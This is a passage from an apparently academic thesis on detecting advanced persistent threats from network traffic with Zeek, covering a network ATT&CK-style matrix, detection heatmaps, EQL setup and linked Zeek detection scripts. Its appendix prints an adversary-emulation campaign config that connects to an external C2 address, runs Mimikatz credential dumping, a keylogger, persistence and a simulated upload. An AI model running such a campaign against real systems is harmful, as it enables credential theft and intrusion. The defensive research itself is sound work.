publication of this research. The goals of this survey are to validate the foundational matrix, to 
receive feedback from the infosec community, and to identify missing techniques or themes. In 
addition to missing techniques, the survey is one method to record techniques being seen in the 
wild that are not public at the time of this writing.  
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Hypotheses for techniques not being present: 
● Hypothesis one (H1), the literature review of APT reports did not contain threat 
intelligence related to certain techniques. 
● H2 is the techniques relating to APT behaviour only accessible by a paid subscription to 
threat intelligence, which the researchers don’t have access to.  
● H3: Security companies who discover these APT techniques would prefer not to release 
that information. If the attackers know you know their playbook, they may change it.  
● H4: There are some techniques that are limited to special environments, such as 
Supervisory Control and Data Acquisition (SCADA)/Industrial Control Systems (ICS). 
SCADA/ICS are the systems that control our nuclear power plants, electricity, and water. 
The researchers did not have access to these types of systems to perform experiments. 
Therefore, the research did not evaluate these types of environments when making this 
matrix, so that type of attacker behaviour may not be present.  
● H5: The time between when an attacker comes to light and when a report is released 
can be several years. For example, APT 1 has been active since 2000 [153], Mandiant 
started investigating this group in 2004 [153], the first published details were released in 
the 2010 Fireye M-Trend report [151], and the official Mandiant report on APT1 was 
released in 2013 [152]. This example shows that the APT 1 group was active for 13 years 
before a public report was released. 
● H6: APT reports did not include all the phases of the Mandiant Attack Lifecycle but 
rather focused on the initial compromise, functions of the malware, or the actions on the 
objective phase. This significantly reduced our view into the world of APTs because our 
research focuses on the entire attack lifecycle. 
● H7: The keyword list in the appendix (Appendix: PDF master keyword list) did not 
include a particular keyword(s) to discover a new technique or set of techniques. 
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Defense in depth - addressing encryption 
Zeek is a very flexible platform but modern-day encryption demonstrates the importance of 
defense in depth. This SANs whitepaper on defense in depth states this concept as “the 
concept of protecting a computer network with a series of defensive mechanisms such that if 
one mechanism fails, another will already be in place to thwart an attack. Because there are so 
many potential attackers with such a wide variety of attack methods available, there is no single 
method for successfully protecting a computer network” [238]. Simply put, if a network stream is 
encrypted we should pivot to the endpoint for detection. 
 
However, network security monitors (NSM) have their importance in the defense in depth 
strategy. In our NSM criteria section (Background: Network Security Monitoring (NSM) platforms 
- Network security monitoring criteria) we stated a platform should provide an adequate network 
fidelity, generate a timeline of network events, and provide scope to an incident. This criteria 
plays an important role when an incident is detected on a host. 
 
For example, let’s say a malicious attachment is sent as part of a phishing campaign. The 
delivery and retrieval of the malicious attachment used encrypted channels but that doesn’t 
mean all is lost for this incident. Upon further analysis of the malicious attachment we notice it 
makes a network connection to pull down a malicious payload via HTTPS. When the malicious 
payload executes it creates a DNS tunnel for command and control (C2) communication. Next, 
the malware obtains instructions from the DNS C2 to collect system information. Lastly, the 
malware obtains instructions from the DNS C2 to scan the network for common Windows ports 
and wait for further commands. 
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This phishing campaign has several phases and each phase contains information that can be 
used to create network-based detections. Our Zeek logs will contain the IP address of the e-mail 
server that sent the malicious attachment. This IP address can be added to a block list or a 
watch list. The HTTPS connection to pull down the malicious stager contains the following 
indicators: FQDN in SSL handshake, a self-signed certificate with a SHA1 hash, and a JA3 
hash of the SSL connection. Detections can be created for these indicators to trigger an alert 
when the malicious payload is being downloaded.  
 
Next, the FQDN being used for the DNS C2 communication can be used as another identifier 
and it is a unique technique of this phishing campaign. Next, we can use Zeek to detect DNS C2 
tunnels based on the number A record requests or abnormally large DNS payloads. Also upon 
further analysis of the DNS C2 we notice all the communication is in plaintext. Detections can 
be created to detect characteristics of this C2 channel. Next, we could setup Zeek to detect any 
port scanning of the local network. The sum of all these indicators create a set of TTPs to 
identify this phishing campaign.  
 
Once these indicators have been identified we can use Zeek to create a timeline and provide  
scope. The indicators can be used to determine if any other endpoints became victim of this  
phishing campaign. Next, the Zeek logs can generate a timeline to show when the campaign 
started. As a final note, projects such as Sysmon have publicly announced they will support the 
new indicator called “community ID” [239]. Community ID is the hash of the tuple (destination IP 
address, source IP address, destination port, source port, protocol) [239].  This provides a unique 
hash for each connection which can be used to correlate connections across various platforms.  
 
For example, let’s say Sysmon detected process injection into explorer.exe on a Windows 
machine. The Sysmon logs show explorer.exe making external calls with an associated 
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community ID. This community ID can be used to pivot over to Zeek logs for a more in depth 
analysis of the network connection. This hypothetical demonstrates the importance of a defense 
in depth strategy (network and host based indicators) to detect advanced persistent threats.     
NIDS/NIPS comparison 
The focus of this research was detection of an APT from a network perspective. However, the 
researchers believe the applications of this matrix could be extended to compare Network 
Intrusion Detection Systems (NIDS)/Network Intrusion Prevention System (NIPS). MITRE 
compared endpoint detection and response (EDR) platforms using the MITRE ATT&CK matrix 
[234]. Our matrix could be used to accomplish the same goal. Lastly, future research could use 
our matrix to compare their research vs. pre-existing technologies.  
Network heatmap of network detection 
Robert Rodriguez has a fantastic blog post called “How Hot Is Your Hunt Team?” [243]. In this 
blog post he demonstrates how to apply a heatmap to MITRE ATT&CK to show the threat 
hunting capability of each technique on a Windows host. This same approach can be applied to 
our matrix to demonstrative the network detection capabilities on a network. A heatmap of your 
network detection capabilities can be used as a roadmap for your security team. 
 
Let’s say for example you have an environment with Zeek and a network IDS. You can take the 
capabilities of these platforms and map their detection efficacy using our matrix. This will create 
a heatmap of your network detection capabilities. All the cells in green are techniques that your 
network platforms can detect. All the cells in red are techniques that your network devices 
cannot detect. This heatmap provides a starting point for where your team should focus on 
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engineering new detection capabilities. Not only does this heatmap provides a roadmap for your 
security team but it provides a way to measure the impact of new software and equipment.  
 
For example, let’s say your heatmap says you have no visibility into encrypted HTTP traffic 
(HTTPS). You can approach leadership with your current matrix heatmap and a new heatmap 
with the addition of a web proxy added to the environment. The new heatmap shows that a web 
proxy would take 6 techniques from red (no detection) to green (detection and possible 
prevention). Second, a literature review review shows that 91% of all attacks on enterprise 
networks are the result of successful spear phishing [264]. Your organization accesses their email 
via a web browser. You state a web proxy would raise the overall network detection capability 
and it would give you the ability to detect and block phishing attacks. Applying a heatmap to 
your networks detection capabilities is a fantastic method to demonstrate your organization's 
strengths and weaknesses but it also creates a clear picture for non-tech people to understand. 
Final matrix heatmap 
Attribution vs. detection 
Our matrix was challenging the hypothesis of being able to detect an APT from a network  
perspective. The heatmap above (Figure 21: Heatmap of our matrix vs. all experiments) shows 
the prevalence of a technique in all our experiments. The most prevalent techniques can be 
used to detect the existence of APTs on a network. The least prevalent techniques may be used 
for attribution of an APT group. For example, in all our experiments only the Lazarus APT group 
used peer-to-peer (P2P) for C2 communication [86]. This type of technique is very unique to this 
group’s operations and can be used to attribute activity to this group. 
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Lastly, we believe our first iteration to create a network-based MITRE ATT&CK style matrix is a 
good start. Our model provides a good foundation of network techniques being used by APTs. 
We also believe that there’s room for future research to add additional techniques that can be 
used for detection and attribution purposes. 
Keeping techniques 
This section will cover the techniques we decided to keep even though it’s final score was not 
high enough (techniques with the color red) from the final heat map (Figure 21: Heatmap of our 
matrix vs. all experiments). The techniques we are defending to keep are: public scanning 
services, VPN tunneling, and certificate impersonation. As stated in the experiments section, 
just because a technique was red doesn’t mean it isn’t a valid technique.   
 
Public scanning services 
This report states best why it is so hard to detect scanning services like Shodan “Shodan 
contains multiple benefits when compared to traditional scanning tools, including un-attributable 
tasking, continuous scanning without building and maintaining infrastructure, and Shodan 
contains hundreds of additional signatures for popular ports and services. Shodan’s Web 
application and command line interface (CLI) are both easy to use, and Shodan results include 
all available port information for any given host.” [240].  
 
In addition to Shodan scanning the internet there are thousands of scanners on the internet. 
This blog post shows that in an 8 hour time span they received 7,000 SSH login attempts on 
port 22 but only received 3 on port 45 [241]. Due to the large volume of traffic it is very rare for 
organizations to monitor the external facing interface of their network because it is noisy. Since 
most companies are not logging their external facing assets it is hard to say if Shodan scanned  
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that network. Furthermore, it is impossible to know if an attacker used Shodan to obtain the 
listening services on your network because Shodan acts as as middle man. An APT actor could 
request a list of network services for a domain or an IP address from Shodan. The only thing the 
targeted network would know was that Shodan scanned them at some point. 
 
Lastly, the creation of tools like AutoSploit [242]  make it easier for attackers to gain initial 
compromise on a network. It leverages the results of Shodan to find vulnerable servers and 
launch Metasploit modules. Yes, APTs typically use a more stealthy approach on their targets. 
However, APTs have been known to compromise secondary entities to launch attacks from. 
APTs could use services like Shodan to find target and exploit targets for a layer of protection. 
VPN tunneling 
Our researchers would like to keep VPN tunneling because VPNs were not used or discussed  
during the experiments. As stated above in the public scanning section the external interface of 
a network is not typically monitored. In addition, monitoring a VPN network service with Zeek 
would generate a tremendous amount of data that is not helpful because it’s encrypted. 
However, if the connection logs could be collected from the VPN service and treated as a form 
of network logs. These network logs could be used to tell which IP address users are 
connecting from and geo IP databases can be used to detect anomalous connections. 
Furthermore, there are 4 APT reports referencing 1 APT groups using this technique and as 
recent as 2014.  
Certificate impersonation 
Attackers are trying harder and harder to evade detection by blending into the void. Attackers 
have pivoted from HTTP to HTTPS to encrypt the contents of their command and control 
communication. This same concept applies to the certificate used to encrypt that traffic. APT1 
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created a self-signed certificate to impersonate aol.com [152]. Furthermore, domains registered 
with similar characters to an organization's domain can fool humans [265]. For example, an 
attacker could register Iinked.com which looks like the real domain but the first character is 
actually an uppercase “i” and not a lowercase “L”. Attackers have been known to register 
domains like this and generate certificates to impersonate an organization.  
Communities impacted by our research 
Practitioner 
This research contributes to the practitioner community by providing: 
● MITRE ATT&CK matrix which provides a common framework to describe APT behavior 
from the network 
● New method to perform attribution  
● Splunk queries to detect malicious activity in Zeek logs 
● New method to effectively demonstrate your network capabilities.  
Scholarly 
This research contributes to the academic community by providing: 
● New method to detect APTs 
● New experiment methods 
● New method to extract APT techniques from literature 
● Methodology for threat hunting activity on the network 
● Expanded the knowledge of APT network techniques.  
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Python PDF keyword extractor 
Our research includes a Python keyword extractor script for PDFs. This script takes in three 
command line arguments which are “path”, “file”, and “output”. Path specifies a directory of 
PDFs, file specifies the location of a text file with keywords, and output specifies a file that will 
create a list of PDFs that contain a keyword.  
 
Figure 23: Python PDF keyword extractor command line args 
 
First, the script generates a list of file paths of PDFs within the directory specified. Next, with the 
help of the Python module “PyPDF2” we can open a PDF, extract the PDF data, and convert the 
data to text. Once the text has been extracted we can see if the text contains a keyword. The 
specified keyword file (Appendix: PDF keywords) may contain a single keyword or a list of 
keywords separated by a comma (Figure 24: APT keywords example).  
 
The list of keywords is for a concept that may go by various synonyms and acronyms. For 
example, “command and control” has the following acronyms of “C2”, “CnC”. The first item in 
the list is the “root concept name” and all other names will use this root. If a keyword is detected 
in the text of a PDF an entry is added to a dictionary. The root concept name is added as the 
key and the value is the combination of the keyword detected and the file path of the PDF.  
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Next, the script has a pretty print function that iterates over all the key-value pairs in the 
dictionary. The key-value pairs create an initialization file (INI) where the headers (“[<key>]”) are 
root concept names followed by a list of the values for that key (Figure 24: APT keywords 
example). 
Figure 24: APT keywords example 
 
Finally, the output file of this script is used to source APT reports that contain references to 
keywords referring to attack themes or techniques. Next, we would open up the PDFs to gain a 
context of the keyword. If the keyword is a new technique, we add it to the matrix. If the 
technique already exists, we add the source to that technique. 
EQL supporting Zeek logs 
What is EQL? 
EQL provides a tool that can ingest logs and provide the threat hunter a mechanism to ask a 
question. During this thesis, I extended the EQL platform to support Zeek/Bro logs for network-
based threat hunting. 
Install/Setup EQLLIB for Zeek logs 
1. pip3 install eql 
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2. cd /tmp && git clone https://github.com/endgameinc/eqllib 
3. cd eqllib 
4. python3 setup.py install 
5. cd /tmp && git clone https://github.com/CptOfEvilMinions/ThreatHuntingEQLandBro.git 
6. cd ThreatHuntingEQLandBro 
7. python3 
a. import eqllib 
b. print(eqllib.__file__) 
8. cp <Python3.7 base_dir>/site-packages/eql-*.egg/eql/etc/schema.json <Python3.7 
base_dir>/site-packages/eql-*.egg/eql/etc/schema.json.bak 
a. Create a backup of schema.json 
9. cp bro-schema.json <Python3.7 base_dir>/site-packages/eql-*.egg/eql/etc/schema.json 
a. MacOS Python 3.7 base_dir: /usr/local/lib/python3.7 
b. Schema.json contains a list of event_types 
10. cp bro-domain.toml <Python3.7 base_dir>/site-packages/eqllib-*.egg/eqllib/domains/bro-
domain.toml 
a. A domain is a record of the schema for each event in a log 
11. cp bro-source.json <Python3.7 base_dir>/site-packages/eqllib-
*.egg/eqllib/sources/bro.toml 
a. Source bonds the key names in a log to the schema names 
Converting Zeek logs on MacOS 
At the time of this writing, EQLLIB (version 0.6.2), does not handle Zeek keys that contain a “.” 
like “id.resp_h”. I have documented below, how I used SED to convert keys from “id.resp_h” to 
“src_addr”. Additionally, in the repo, I have an RSYLOG config for a client to ship the logs 
correctl. 
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1. sed -i '' 's:id\.orig_h:dest_addr:g' *.jsonl 
2. sed -i '' 's:id\.orig_p:dest_port:g' *.jsonl 
3. sed -i '' 's:id\.resp_h:src_addr:g' *.jsonl 
4. sed -i '' 's:id\.resp_p:src_port:g' *.jsonl 
5. sed -i '' 's/\(:[0-9] [0-9]\)\.[0-9]\{6\}/\1/g' *.jsonl 
 
EQL + Zeek 
1. cd example_logs 
2. Check if new schema, Zeek domain, and Zeek source are working 
a. eqllib query -s "Bro events" -f conn.jsonl "bro_conn where true"
3. Count the connections in the conn.log 
a. eqllib query -s "Bro events" -f conn.jsonl "bro_conn where true | count"
4. Unique DNS queries 
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a. eqllib query -s "Bro events" -f dns.jsonl "bro_dns where true | unique"
Jekyll  
Why Jekyll 
Jekyll is a framework used to generate static web pages [155]. The visual representation of our 
matrix has been generated by Jekyll because Github supports Jekyll. Jekyll’s main benefits 
include no backend, content created with Markdown, and hosted on a free and public platform. 
 
Since Jekyll generates straight HTML and CSS, this site can be hosted statically without a 
backend. Markdown files are used to generate pages, which are then translated to HTML and 
CSS. Markdown is a simple markup language that doesn’t require a high level of expertise to 
write or modify. Lastly, Github supports hosting Jekyll sites on their platform for free. This allows 
the community to contribute to our Matrix with a well known platform. 
Adding new attack theme 
The creation of a new technique or attack theme on the matrix is quick and simple with Jekyll. 
To create a new theme you need to create a new Markdown file in 
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“Matrix/_posts/themes/<current date>-<attack theme name>. md”. Next, copy the template 
format from “Matrix/_posts/themes/<date>-template.md” into your new markdown file.  
 
First, at the top of new file is YAML code which is used to define this attack theme. The only 
attributes that need to be modified are attributes that contain “<>” in the value. For example, the 
“title” attribute should be set to the name of the attack theme. A description is required to 
accurately describe the attack theme and techniques within this group. The description should 
be short and brief, no longer than 3-4 sentences. Additional information can be added to the 
body of the page which will be discussed in the sections to follow. 
 
Second, The “permalink” attribute describes the URL that will be displayed in the browser’s 
address bar when this page is displayed. This attribute contains a convention but is at the 
discretion of the author to adhere to it.  
 
Thirdly, the author needs to add content to his technique. Following the “{{ page.description }}” 
attribute an author can add more information about this technique. The body can contain any 
information the author thinks is pertinent to the attack theme. At the bottom, the author should 
provide sources of where the information was obtained. This ensures that authors are backing 
up their claims with a third-party source.  
 
Lastly, Jekyll will automatically add the new theme to the matrix. Below is a screenshot of a 








Adding new technique 
Adding a new technique follows a similar process to the described above for adding a new 
attack theme. First, to create a new technique you need to create a new Markdown file in 
“Matrix/_posts/techniques/<theme>/<current date>-<technique name>.md. Next, copy the 
template “Matrix/_posts/techniques/<date>-template.md” into your new markdown file.  
 
Second, the author should modify the attributes that contain ”<>” in the value. Content should 
be added to the file following the “{{ page.description }}” attribute. At the bottom, the author 
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should provide sources of where the information was obtained. This ensures that authors are 
backing up their claims with a third-party source. Lastly, Jekyll will automatically add the new 
technique to the Matrix under the correct attack theme.  
Community contributions 
As time progresses a technique may need to be updated. Github provides the perfect platform 
for the community to submit changes which can be reviewed by the administrator. Additionally, if 
the matrix is updated the file associated with the update should have it’s date updated to reflect 
that. For example, let’s say we want to update the “SMB” technique located at 
“Matrix/_posts/techniques/lateral_movement/209-02-01-smb.md”. First, we apply our 
modifications, add sources when appropriate, and change the filename date like 
“Matrix/_posts/techniques/lateral_movement/<current date>-smb.md”. 
 
Next, the community member should make a “pull request”(PR) on Github. This will generate a 
notification to the maintainers for review. Additionally, the community can view this PR and 
comment on the changes. If the PR is accepted, the changes will be merged into the main code 
for the Matrix and will reflect the new changes 
Public datasets 
● MACCDC 2016 Zeek logs in CSV format 
○ https://drive.google.com/file/d/1OQ8uqoegRTgm46ttvIgqNe9y5yVR8WmA/view?
usp=sharing 




● Experiment 2 - Adversary emulation PCAP 
○ https://drive.google.com/file/d/1JKKBHc-
UWY_DT31as0MI6c51gsM1hSFJ/view?usp=sharing 
● Experiment 2 - Adversary emulation Zeek logs 
○ https://drive.google.com/file/d/12twCiwf-
L4v0MCMp2Qk8iqKxkMB_8gsC/view?usp=sharing 
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NCCDC 2017 PCAP to Zeek logs bash script 




# Install software 
apt install unxz tcpreplay -y 
 




for i in {001..536}; 
do 
    # Download file via curl 
    curl <URL> --output dayone.${i}.pcap.xz 
 
    # Untar pcap 
    unxz dayone.${i}.pcap.xz 
 
    # Analyze PCAP with BRO 
    tcpreplay --mbps=100.0 --intf1=dummy0 dayone.${i}.pcap 
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    # Delete PCAP and xzz 
    rm dayone.${i}.* 
 
    # Send Slack notification 
    curl -X POST --data-urlencode "payload={\"channel\": \"#${slack_channel}\", 
\"username\": \"webhookbot\", \"text\": \"PCAP $i done being processed.\", 
\"icon_emoji\": \":ghost:\"}" https://hooks.slack.com/services/${slack_token} 
 
done 
APT 3 techniques 
Host-based techniques 
The techniques below were obtained from the MITRE ATT&CK page on APT3 [85]. 
● Initial access 
○ Valid Accounts 
● Execution 
○ Command-Line Interface 
○ Graphical User Interface 
○ PowerShell 
○ Rundll32 
○ Scheduled Task 
○ Scripting 
● Persistence 
○ Accessibility Features 
○ Account Manipulation 
○ Create Account 
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○ New Service 
○ Redundant Access 
○ Registry Run Keys / Startup Folder 
○ Scheduled Task 
● Privilege escalation 
○ Accessibility Features 
○ New Service 
○ Scheduled Task 
○ Valid Accounts 
● Defense evasion 
○ DLL Side-Loading 
○ File Deletion 
○ Indicator Removal from Tools 
○ Obfuscated Files or Information 
○ Redundant Access 
○ Rundll32 
○ Scripting 
○ Software Packing 
○ Valid Accounts 
● Credential access 
○ Account Manipulation 
○ Brute Force 
○ Credential Dumping 
○ Credentials in Files 
○ Input Capture 
○ Account Discovery 
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○ File and Directory Discovery 
○ Permission Groups Discovery 
○ Process Discovery 
○ Remote System Discovery 
○ System Information Discovery 
○ System Network Connections Discovery 
○ System Owner/User Discovery 
● Lateral movement 
○ Remote Desktop Protocol 
○ Remote file copy 
○ Windows Admin shares 
● Collection 
○ Data from local system 
○ Data staged 
○ Input capture 
● Command and control 
○ Commonly used ports 
○ Connection proxy 
○ Multi-stage channels 
○ Remote File Copy 
○ Standard Non-application 
○ Uncommonly used port 
● Exfiltration 
○ Data compressed 
○ Exfiltration over command and control 
159 
Network-based techniques 
The techniques below were obtained from (Experiment 1: Test case 1 - APT3) above. 
● Recon and weaponization 
○ No documented techniques for this category 
● Lateral movement 
○ SMB 
■ Target printers and file shares [79] 
■ RemoteCMD us a tool similar to PsExec to run remote commands [79] 
● SMB network commands, SMB remote service, SMB remote tasks 
[79] 
○ RDP 
■ APT3 replaced the sticky keys binary with cmd.exe and enabled Remote 
desktop [79] 
● Internal recon 
○ Remote system discovery, port scanner, ping scans [79]  
● Initial compromise 
○ Stager 
■ Malicious document leads to stager download [80] [82] 
■ A browser exploit (CVE-2014-6332) lead to execution on the machine and 
a VBscript/Powershell script was pulled down [79] 
○ Exploits 
■ 0-day exploits on internet facing assets [79] 
■ 0-day exploits for windows machines [79] 
● Impersonation 
○ No documented techniques for this category 
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● Evasion 
○ Custom protocol [79] 
■ Custom binary C2 protocols [79] 
○ Encryption 
■ Pirpi uses SSL for C2 communication [79] 
■ APT has sent encrypted rar archive e-mail attachments [79] [80] 
○ Compression 
■ APT3 has been known to use a zip archive when spear phishing [79]  
■ Email attachments contained RAR archives  [79] [80] 
● DOS 
○ No documented techniques for this category [79] 
● Delivery 
○ Phishing 
■ Initial compromise is done with spear phishing [79] [80] [82] 
● Malicious documents [79] [80] [82] 
○ Waterhole 
■ Initial compromise is done with waterhole attacks. APT3 has 0-day 
exploits for browsers [79] [84] 
● Command and control 
○ FTP 
■ Pirpi uses  FTP for exfil [79] 
○ HTTP 
■ HTTP C2 with set interval [79] 
■ Data has been exfiltrated over port 443 [79] 
○ Listening service 
■ PlugX has the ability to install telnet service [79] 
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○ SOCKS5 
■ C2 server using port 1913 and SOCKS5 protocol [79] [82]  
● Actions on objective 
○ Exfiltration 
■ APT3 is interested in exfiltration of documents [79] 
■ Target intellectual property, specifically industrial [79] 
■ Pirpi has exfil functionality [79] 
Scythe APT3 campaign config 
{ 
    "threat": { 
        "category": "User-Defined", 
        "description": "APT3 campaign for thesis", 
        "display_name": "APT3-thesis", 
        "name": "APT3-thesis", 
        "operating_system_name": "windows", 
        "script": { 
            "0": { 
                "conf": { 
                    "--cp": "35.196.54.120:443", 
                    "--multipart": 10240, 
                    "--secure": true 
                }, 
                "module": "https", 
                "type": "initialization" 
            }, 
            "1": { 
                "module": "loader", 
                "request": "--load run", 
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                "type": "message" 
            }, 
            "2": { 
                "module": "loader", 
                "request": "--load crypt", 
                "type": "message" 
            }, 
            "3": { 
                "module": "loader", 
                "request": "--load file", 
                "type": "message" 
            }, 
            "4": { 
                "module": "file", 
                "request": "--create --path \"C:\\Users\\Public\\text.exe\" --size 
10MB --random", 
                "type": "message" 
            }, 
            "5": { 
                "module": "run", 
                "request": "cmd /c whoami", 
                "type": "message" 
            }, 
            "6": { 
                "module": "run", 
                "request": "schtasks /create /tn \"mysc\" /tr 
C:\\Users\\Public\\test.exe /sc ONLOGIN /run \"system\"", 
                "type": "message" 
            }, 
            "7": { 
                "module": "run", 
                "request": "cmd /c net group \"domain admins\"", 
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                "type": "message" 
            }, 
            "8": { 
                "module": "run", 
                "request": "cmd /c net user", 
                "type": "message" 
            }, 
            "9": { 
                "module": "run", 
                "request": "cmd /c ipconfig /all", 
                "type": "message" 
            }, 
            "10": { 
                "module": "loader", 
                "request": "--load sysinfo", 
                "type": "message" 
            }, 
            "11": { 
                "module": "run", 
                "request": "cmd /c netstat -ano", 
                "type": "message" 
            }, 
            "12": { 
                "module": "loader", 
                "request": "--load persist", 
                "type": "message" 
            }, 
            "13": { 
                "module": "persist", 
                "request": "--name apt3 --display apt3 --description APT3_campaign --
path \"C:\\Windows\\System32\\apt3.exe\"", 
                "type": "message" 
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            }, 
            "14": { 
                "module": "loader", 
                "request": "--load mimikatz", 
                "type": "message" 
            }, 
            "15": { 
                "module": "mimikatz", 
                "request": "--arglist SEKURLSA::LogonPasswords", 
                "type": "message" 
            }, 
            "16": { 
                "module": "loader", 
                "request": "--load keylogger", 
                "type": "message" 
            }, 
            "17": { 
                "module": "keylogger", 
                "request": "--start", 
                "rtags": [ 
                    "scythe", 
                    "att&ck", 
                    "att&ck-tactic:TA0009", 
                    "att&ck-technique:T1056" 
                ], 
                "type": "message" 
            }, 
            "18": { 
                "module": "run", 
                "request": "cmd /c net view", 
                "type": "message" 
            }, 
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            "19": { 
                "module": "run", 
                "request": "cmd /c nltest /dclist:hackinglab.local", 
                "type": "message" 
            }, 
            "20": { 
                "module": "run", 
                "request": "cmd /c net user", 
                "type": "message" 
            }, 
            "21": { 
                "module": "run", 
                "request": "cmd /c net share", 
                "type": "message" 
            }, 
            "22": { 
                "time": 10, 
                "type": "delay" 
            }, 
            "23": { 
                "module": "loader", 
                "request": "--load upsh", 
                "type": "message" 
            }, 
            "24": { 
                "module": "upsh", 
                "request": "--cmd \"New-PSDrive -name g -psprovider filesystem -root 
\\\\Jupiter\\C$\"", 
                "rtags": [ 
                    "atomic", 
                    "att&ck", 
                    "att&ck-tactic:TA0008", 
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                    "att&ck-technique:T1077" 
                ], 
                "type": "message" 
            }, 
            "25": { 
                "module": "loader", 
                "request": "--load search", 
                "type": "message" 
            }, 
            "26": { 
                "module": "search", 
                "request": "--directory \"%userprofile%\" --filename * --recurse", 
                "type": "message" 
            }, 
            "27": { 
                "module": "file", 
                "request": "--create --path \"%userprofile%\\Documents\\exfil.dat\" --
size 500MB --random", 
                "type": "message" 
            }, 
            "28": { 
                "module": "loader", 
                "request": "--load uploader", 
                "type": "message" 
            }, 
            "29": { 
                "module": "uploader", 
                "request": "--remotepath \"%userprofile%\\Documents\\exfil.dat\"", 
                "type": "message" 
            }, 
            "30": { 
                "module": "keylogger", 
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                "request": "--current\n", 
                "type": "message" 
            }, 
            "31": { 
                "module": "controller", 
                "request": "--shutdown", 
                "rtags": [ 
                    "scythe", 
                    "att&ck", 
                    "att&ck-tactic:TA0011", 
                    "att&ck-technique:T1219" 
                ], 
                "type": "message" 
            }, 
            "32": { 
                "module": "loader", 
                "request": "--load terminate", 
                "type": "message" 
            } 
        }, 
        "signature": "3ce1cbeedb097e1a0c3b83ebdd6c955a7433cf29" 
    } 
} 
Zeek script vs. our matrix techniques 
Techniques 
This section provides a high overview of how Zeek was configured to analyze network traffic. 
The bullet point list is laid out using our matrix and each technique has a link to a Zeek package 
or script.  
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● Recon and weaponization 
○ Public scanning services 
■ Shodan https://github.com/CriticalPathSecurity/bro-
scripts/blob/master/shodan.bro 
● Lateral movement 
○ SMB 




■ SMB ransomware: https://github.com/fox-it/bro-scripts/tree/master/smb-
ransomware 
■ Detect PsEec: https://www.cybersecurity-insiders.com/threat-hunting-
with-bro/ 
● Internal recon 
○ Service enumeration 
■ VNC  scanner detector: 
https://packages.zeek.org/packages/view/4386baeb-8ed4-11e9-88be-
0a645a3f3086 
○ Port scanning 
■ UDP scan detector: https://github.com/phirelight/bro-
scripts/blob/master/packages/detect/udp-scan/bro-pkg.index 
● Initial compromise 
○ Malicious stager 
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■ File extraction: https://packages.zeek.org/packages/view/435bb7a9-8ed4-
11e9-88be-0a645a3f3086 
■ Unknown MIME type: https://packages.zeek.org/packages/view/451ddf6f-
8ed4-11e9-88be-0a645a3f3086 
■ Detect Venom rootkit download: 
https://packages.zeek.org/packages/view/42e3f307-8ed4-11e9-88be-
0a645a3f3086 
■ Meterpreter stager: https://github.com/phirelight/bro-
scripts/blob/master/packages/detect/meterpreter-transfer/bro-pkg.index 
○ Sql injection 






○ Domain spoofing 
■ DNS typosquatting: https://github.com/phirelight/bro-
scripts/blob/master/packages/dns/typosquatting/bro-pkg.index 
● Evasion 
○ Anonymous services 

















■ Smtp url analyzer: https://packages.zeek.org/packages/view/43807232-
8ed4-11e9-88be-0a645a3f3086 
■ SMTP typosquatting: https://github.com/phirelight/bro-
scripts/blob/master/packages/smtp/typosquat-email/bro-pkg.index 
● Command and control 
○ IRC 
■ IRC 2.0: https://github.com/initconf/brocon-15/blob/master/irc-2.0.bro 
■ IRC session: https://github.com/initconf/brocon-
15/blob/master/irc_sessions.bro 
○ ICMP 






■ DNS zone transfer: https://packages.zeek.org/packages/view/452253e8-
8ed4-11e9-88be-0a645a3f3086 
■ DNS tunnels: https://packages.zeek.org/packages/view/432ab0ba-8ed4-
11e9-88be-0a645a3f3086 
■ Domain tld: https://packages.zeek.org/packages/view/45130de6-8ed4-
11e9-88be-0a645a3f3086 
■ Top dns: https://packages.zeek.org/packages/view/42d30bb5-8ed4-11e9-
88be-0a645a3f3086 
○ HTTP 
■ Detect UNIX commands: https://github.com/michalpurzynski/zeek-
scripts/blob/master/unix_commands.bro 
■ QUIC analyzer: https://packages.zeek.org/packages/view/42a79442-
8ed4-11e9-88be-0a645a3f3086 
■ Add HTTP post to  log: 
https://packages.zeek.org/packages/view/42cb487a-8ed4-11e9-88be-
0a645a3f3086 
■ HTTP clear text passwords: 
https://packages.zeek.org/packages/view/2f102da6-c624-11e9-88be-
0a645a3f3086 
■ HTTP basic auth: https://github.com/phirelight/bro-
scripts/blob/master/packages/detect/http-basic-auth-bruteforce/bro-
pkg.index 
● Actions on objectives 
○ Exfiltration 
■ Large uploads: https://packages.zeek.org/packages/view/452b55ff-8ed4-
11e9-88be-0a645a3f3086 
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■ Conn burst: https://packages.zeek.org/packages/view/42b89796-8ed4-
11e9-88be-0a645a3f3086 
■ Credit cards: https://github.com/sethhall/credit-card-
exposure/blob/master/bro-pkg.meta 
■ CC exposure: https://packages.zeek.org/packages/view/450bfc14-8ed4-
11e9-88be-0a645a3f3086 
● Additional scripts 
○ JSON logging: https://packages.zeek.org/packages/view/42c2e62c-8ed4-11e9-
88be-0a645a3f3086 
○ Bitcoin miners: https://packages.zeek.org/packages/view/441f12fd-8ed4-11e9-
88be-0a645a3f3086 
○ Corelight community ID: Allows for cross correlation between Suricata,Zeek, and 
other tools https://packages.zeek.org/packages/view/42826396-8ed4-11e9-88be-
0a645a3f3086  
○ Long connection tracking for C2: 
https://packages.zeek.org/packages/view/42a39096-8ed4-11e9-88be-
0a645a3f3086 
○ LDAP analyzer: https://packages.zeek.org/packages/view/44f610ea-8ed4-11e9-
88be-0a645a3f3086 
○ VLAN filter: https://packages.zeek.org/packages/view/42cecaba-8ed4-11e9-
88be-0a645a3f3086 
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2017 NCCDC  
CCDC network diagram 
Figure 25: 2017 NCCDC network diagram 
 
Asset list 
Table 15: 2017 NCCDC asset table 
# Model IP address OS Service(s) Notes 
1 Dell Poweredge R210 10.X.X.5 BSD DNS server DNS server 
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2 Dell Poweredge R210 10.X.X.10 Fedora HTTP/SMT
P/POP3 
Mail server 




e) + SSH + 
DNS 
Ecommerce website 
4 Dell Latitude E6430 10.X.X.20 Windows 
Server 2003 
AD + DHCP 
+ SSH 
Windows domain controller 
with SSH 
5 Dell Latitude E6430 N/A No OS N/A Students can install any OS 
they want on this machine 
6 Dell Precision M4800 10.X.X.200 ESXi 6.5 Hypervisor 
+ WebGUI 
VMware remote ESXi 
7 Internal - VM1 10.x.x.201 Suse HTTP + 
SSH 
 
8 Internal - VM2 10.x.x.202 Ubuntu HTTP + 
SSH 
 
9 Internal - VM3 10.x.x.204 Windows 7 RDP POS 
10 Internal - VM4 N/A Palo Alto N/A Router 
11 Retail - VM 1 172.20.X.204 Windows 7 N/A POS server 
12 Retail - VM 2 172.20.X.205 Windows 7 N/A PDS client 
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13 Cisco IP phone N/A N/A N/A Phone 
